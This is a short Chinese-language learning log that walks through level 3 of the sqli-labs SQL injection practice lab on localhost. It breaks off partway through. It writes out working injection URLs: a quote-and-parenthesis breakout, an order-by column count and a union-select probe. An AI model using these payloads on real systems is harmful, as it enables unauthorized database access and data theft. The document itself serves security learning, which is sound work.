从零记录sqli-labs学习过程 sqli-labs Less-3

sqli-labs Less-3

第三关界面，参数id

http://localhost/sqli-labs/Less-3/index.php?id=1'

看一下报错信息 check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1'

尝试在后面加上)

http://localhost/sqli-labs/Less-3/index.php?id=1') --+

没什么问题就像之前几关一样进入基本流程，截图省略

判断字段数：
http://localhost/sqli-labs/Less-3/index.php?id=1') order by 3 --+

判断回显位：
http://localhost/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+

获取当前数据库名称：
http://localhost/sqli-labs/